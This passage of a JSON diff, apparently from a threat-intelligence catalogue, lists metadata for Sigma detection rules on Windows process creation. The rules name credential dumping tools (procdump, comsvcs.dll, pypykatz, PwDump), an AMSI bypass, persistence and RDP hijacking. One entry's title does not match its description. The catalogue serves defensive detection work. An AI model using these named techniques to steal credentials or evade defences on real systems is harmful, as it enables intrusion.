"attack.t1059.001", + "attack.collection", + "attack.t1114" + ], + "creation_date": "2021/03/03", + "filename": "proc_creation_win_powershell_snapins_hafnium.yml", + "author": "FPT.EagleEye", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell invocation with a parameter substring", + "uuid": "36210e0d-5b19-485d-a087-c096088885f0", + "value": "Suspicious PowerShell Parameter Substring", + "meta": { + "refs": [ + "http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_powershell_susp_parameter_variation.yml", + "author": "Florian Roth (rule), Daniel Bohannon (idea), Roberto Rodriguez (Fix)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", + "uuid": "bb780e0c-16cf-4383-8383-1e5471db6cf9", + "value": "Suspicious XOR Encoded PowerShell Command Line", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_xor_commandline.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1059.001", + "attack.t1140", + "attack.t1027" + ], + "creation_date": "2018/09/05", + "filename": "proc_creation_win_powershell_xor_commandline.yml", + "author": "Sami Ruohonen, Harish Segar (improvement), Tim Shelton", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a schtask via PowerSploit or Empire Default Configuration.", + "uuid": "56c217c3-2de2-479b-990f-5c109ba8458f", + "value": "Default PowerSploit and Empire Schtasks Persistence", + "meta": { + "refs": [ + "https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powersploit_empire_schtasks.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.privilege_escalation", + "attack.s0111", + "attack.g0022", + "attack.g0060", + "car.2013-08-001", + "attack.t1053.005", + "attack.t1059.001" + ], + "creation_date": "2018/03/06", + "filename": "proc_creation_win_powersploit_empire_schtasks.yml", + "author": "Markus Neis, @Karneades", + "level": "high", + "falsepositive": [ + "False positives are possible, depends on organisation and processes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.", + "uuid": "9bd04a79-dabe-4f1f-a5ff-92430265c96b", + "value": "Privilege Escalation via Named Pipe Impersonation", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_priv_escalation_via_named_pipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_priv_escalation_via_named_pipe.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Other programs that cause these patterns (please report)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the SysInternals Procdump utility", + "uuid": "2e65275c-8288-4ab4-aeb7-6274f58b6b20", + "value": "Procdump Usage", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2021/08/16", + "filename": "proc_creation_win_procdump.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate use of procdump by a developer or administrator" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects uses of the SysInternals Procdump utility in which procdump or its output get renamed or a dump file is moved ot copied to a different name", + "uuid": "79b06761-465f-4f88-9ef2-150e24d3d737", + "value": "Procdump Evasion", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1480785527901204481", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/01/11", + "filename": "proc_creation_win_procdump_evasion.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Cases in which procdump just gets copied to a different directory without any renaming" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a process memory dump performed by RdrLeakDiag.exe", + "uuid": "edadb1e5-5919-4e4c-8462-a9e643b02c4b", + "value": "Process Dump via RdrLeakDiag.exe", + "meta": { + "refs": [ + "https://www.pureid.io/dumping-abusing-windows-credentials-part-1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rdrleakdiag.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2021/09/24", + "filename": "proc_creation_win_process_dump_rdrleakdiag.yml", + "author": "Cedric MAURUGEON", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process memory dump via comsvcs.dll and rundll32 using different techniques (ordinal, minidump function...etc)", + "uuid": "646ea171-dded-4578-8a4d-65e9822892e3", + "value": "Process Dump via Rundll32 and Comsvcs.dll", + "meta": { + "refs": [ + "https://twitter.com/shantanukhande/status/1229348874298388484", + "https://twitter.com/pythonresponder/status/1385064506049630211?s=21", + "https://twitter.com/Hexacorn/status/1224848930795552769", + "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", + "https://twitter.com/SBousseaden/status/1167417096374050817", + "https://twitter.com/Wietze/status/1542107456507203586", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rundll32_comsvcs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.credential_access", + "attack.t1036", + "attack.t1003.001", + "car.2013-05-009" + ], + "creation_date": "2020/02/18", + "filename": "proc_creation_win_process_dump_rundll32_comsvcs.yml", + "author": "Florian Roth, Modexp, Nasreddine Bencherchali (update)", + "level": "high", + "falsepositive": [ + "Unlikely, because no one should dump the process memory in that way" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects uses of the createdump.exe LOLOBIN utility to dump process memory", + "uuid": "515c8be5-e5df-4c5e-8f6d-a4a2f05e4b48", + "value": "CreateDump Process Dump", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://twitter.com/bopin2020/status/1366400799199272960", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_createdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/01/04", + "filename": "proc_creation_win_proc_dump_createdump.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Command lines that use the same flags" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a Visual Studio bundled tool named DumpMinitool.exe", + "uuid": "dee0a7a3-f200-4112-a99b-952196d81e42", + "value": "DumpMinitool Usage", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1511415432888131586?s=20&t=DvVrzeZ1OcGiWowbhPV8Lg", + "https://twitter.com/mrd0x/status/1511489821247684615", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_dumpminitool.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/04/06", + "filename": "proc_creation_win_proc_dump_dumpminitool.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory", + "uuid": "6355a919-2e97-4285-a673-74645566340d", + "value": "RdrLeakDiag Process Dump", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_rdrleakdiag.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/01/04", + "filename": "proc_creation_win_proc_dump_rdrleakdiag.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious ways to use of a Visual Studio bundled tool named DumpMinitool.exe", + "uuid": "eb1c4225-1c23-4241-8dd4-051389fde4ce", + "value": "Suspicious DumpMinitool Usage", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1511415432888131586", + "https://twitter.com/mrd0x/status/1511489821247684615", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_susp_dumpminitool.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/04/06", + "filename": "proc_creation_win_proc_dump_susp_dumpminitool.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect suspicious parent processes of well-known Windows processes", + "uuid": "96036718-71cc-4027-a538-d1587e0006a7", + "value": "Windows Processes Suspicious Parent Directory", + "meta": { + "refs": [ + "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", + "https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/", + "https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf", + "https://attack.mitre.org/techniques/T1036/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_wrong_parent.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003", + "attack.t1036.005" + ], + "creation_date": "2019/02/23", + "filename": "proc_creation_win_proc_wrong_parent.yml", + "author": "vburov", + "level": "low", + "falsepositive": [ + "Some security products seem to spawn these" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.", + "uuid": "104cdb48-a7a8-4ca7-a453-32942c6e5dcb", + "value": "ProtocolHandler.exe Downloaded Suspicious File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_protocolhandler_susp_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/07/13", + "filename": "proc_creation_win_protocolhandler_susp_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code.", + "uuid": "af77cf95-c469-471c-b6a0-946c685c4798", + "value": "Proxy Execution via Wuauclt", + "meta": { + "refs": [ + "https://dtm.uk/wuauclt/", + "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proxy_execution_wuauclt.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_proxy_execution_wuauclt.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), Florian Roth, Sreeman, FPT.EagleEye Team", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a PsExec service start", + "uuid": "3ede524d-21cc-472d-a3ce-d21b568d8db7", + "value": "PsExec Service Start", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psexesvc_start.yml" + ], + "tags": [ + "attack.execution", + "attack.s0029", + "attack.t1569.002" + ], + "creation_date": "2018/03/13", + "filename": "proc_creation_win_psexesvc_start.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempts to disable AMSI in the command line. It is possible to bypass AMSI by disabling it before loading the main payload.", + "uuid": "4f927692-68b5-4267-871b-073c45f4f6fe", + "value": "PowerShell AMSI Bypass Pattern", + "meta": { + "refs": [ + "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psh_amsi_bypass_pattern_nov22.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.execution" + ], + "creation_date": "2022/11/04", + "filename": "proc_creation_win_psh_amsi_bypass_pattern_nov22.yml", + "author": "@Kostastsale", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.", + "uuid": "f0ca6c24-3225-47d5-b1f5-352bf07ecfa7", + "value": "DefenderCheck Usage", + "meta": { + "refs": [ + "https://github.com/matterpreter/DefenderCheck", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.005" + ], + "creation_date": "2022/08/30", + "filename": "proc_creation_win_pua_defendercheck.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters", + "uuid": "38646daa-e78f-4ace-9de0-55547b2d30da", + "value": "Seatbelt PUA Tool", + "meta": { + "refs": [ + "https://github.com/GhostPack/Seatbelt", + "https://www.bluetangle.dev/2022/08/fastening-seatbelt-on-threat-hunting.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_seatbelt.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1526", + "attack.t1087", + "attack.t1083" + ], + "creation_date": "2022/10/18", + "filename": "proc_creation_win_pua_seatbelt.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects suspicious processes with parent images located in the C:\\Users\\Public folder", + "uuid": "69bd9b97-2be2-41b6-9816-fb08757a4d1a", + "value": "Parent in Public Folder Suspicious Process", + "meta": { + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_public_folder_parent.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/25", + "filename": "proc_creation_win_public_folder_parent.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the PurpleSharp adversary simulation tool", + "uuid": "ff23ffbc-3378-435e-992f-0624dcf93ab4", + "value": "PurpleSharp Indicator", + "meta": { + "refs": [ + "https://github.com/mvelazc0/PurpleSharp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_purplesharp_indicators.yml" + ], + "tags": [ + "attack.t1587", + "attack.resource_development" + ], + "creation_date": "2021/06/18", + "filename": "proc_creation_win_purplesharp_indicators.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", + "uuid": "a29808fd-ef50-49ff-9c7a-59a9b040b404", + "value": "Registry Parse with Pypykatz", + "meta": { + "refs": [ + "https://github.com/skelsec/pypykatz", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pypykatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2022/01/05", + "filename": "proc_creation_win_pypykatz.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects python spawning a pretty tty", + "uuid": "480e7e51-e797-47e3-8d72-ebfce65b6d8d", + "value": "Python Spawning Pretty TTY on Windows", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_pty_spawn.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/03", + "filename": "proc_creation_win_python_pty_spawn.yml", + "author": "Nextron Systems", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the Quarks PwDump tool via commandline arguments", + "uuid": "0685b176-c816-4837-8e7b-1216f346636b", + "value": "Quarks PwDump Usage", + "meta": { + "refs": [ + "https://github.com/quarkslab/quarkspwdump", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_quarks_pwdump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2022/09/05", + "filename": "proc_creation_win_quarks_pwdump.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may interact with the Windows Registry to gather information about credentials, the system, configuration, and installed software.", + "uuid": "970007b7-ce32-49d0-a4a4-fbef016950bd", + "value": "Query Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1012/T1012.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_registry.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012", + "attack.t1007" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_query_registry.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of \"query.exe\" a system binary to exfil information such as \"sessions\" and \"processes\" for later use", + "uuid": "53ef0cef-fa24-4f25-a34a-6c72dfa2e6e2", + "value": "Query Usage To Exfil Data", + "meta": { + "refs": [ + "https://twitter.com/MichalKoczwara/status/1553634816016498688", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_session_exfil.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/01", + "filename": "proc_creation_win_query_session_exfil.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This command line patterns found in BlackByte Ransomware operations", + "uuid": "999e8307-a775-4d5f-addc-4855632335be", + "value": "BlackByte Ransomware Patterns", + "meta": { + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ransom_blackbyte.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/25", + "filename": "proc_creation_win_ransom_blackbyte.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects commandline containing reference to files ending with a \".\". This scheme has been seen used by raspberry-robin", + "uuid": "a35c97c8-d9c4-4c89-a3e7-533dc0bcb73a", + "value": "Raspberry Robin Dot Ending File", + "meta": { + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_raspberry_robin_single_dot_ending_file.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/10/28", + "filename": "proc_creation_win_raspberry_robin_single_dot_ending_file.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects RDP session hijacking by using MSTSC shadowing", + "uuid": "6ba5a05f-b095-4f0a-8654-b825f4f16334", + "value": "MSTSC Shadowing", + "meta": { + "refs": [ + "https://twitter.com/kmkz_security/status/1220694202301976576", + "https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdp_hijack_shadowing.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1563.002" + ], + "creation_date": "2020/01/24", + "filename": "proc_creation_win_rdp_hijack_shadowing.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers", + "uuid": "ab9e3b40-0c85-4ba1-aede-455d226fd124", + "value": "Suspicious Redirection to Local Admin Share", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_local_admin_share.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/16", + "filename": "proc_creation_win_redirect_local_admin_share.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the redirection of an alternate data stream (ADS) of / within a Windows command line session", + "uuid": "70e68156-6571-427b-a6e9-4476a173a9b6", + "value": "Cmd Stream Redirection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md#atomic-test-3---create-ads-command-prompt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_to_stream.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/02/04", + "filename": "proc_creation_win_redirect_to_stream.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects actions caused by the RedMimicry Winnti playbook", + "uuid": "95022b85-ff2a-49fa-939a-d7b8f56eeb9b", + "value": "RedMimicry Winnti Playbook Execute", + "meta": { + "refs": [ + "https://redmimicry.com", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redmimicry_winnti_proc.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1106", + "attack.t1059.003", + "attack.t1218.011" + ], + "creation_date": "2020/06/24", + "filename": "proc_creation_win_redmimicry_winnti_proc.yml", + "author": "Alexander Rausch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the export of a crital Registry key to a file.", + "uuid": "82880171-b475-4201-b811-e9c826cd5eaa", + "value": "Exports Critical Registry Keys To a File", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_critical_keys.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1012" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_regedit_export_critical_keys.yml", + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "level": "high", + "falsepositive": [ + "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the export of the target Registry key to a file.", + "uuid": "f0e53e89-8d22-46ea-9db5-9d4796ee2f8a", + "value": "Exports Registry Key To a File", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_keys.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1012" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_regedit_export_keys.yml", + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate export of keys" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the import of the specified file to the registry with regedit.exe.", + "uuid": "73bba97f-a82d-42ce-b315-9182e76c57b1", + "value": "Imports Registry Key From a File", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_regedit_import_keys.yml", + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate import of keys", + "Evernote" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the import of a alternate datastream to the registry with regedit.exe.", + "uuid": "0b80ade5-6997-4b1d-99a1-71701778ea61", + "value": "Imports Registry Key From an ADS", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_regedit_import_keys_ads.yml", + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.", + "uuid": "5f60740a-f57b-4e76-82a1-15b6ff2cb134", + "value": "Modifies the Registry From a File", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regini/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_win_regini.yml", + "author": "Eli Salem, Sander Wiebing, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate modification of keys" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.", + "uuid": "77946e79-97f1-45a2-84b4-f37b5c0d8682", + "value": "Modifies the Registry From a ADS", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regini/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_ads.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_regini_ads.yml", + "author": "Eli Salem, Sander Wiebing, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + 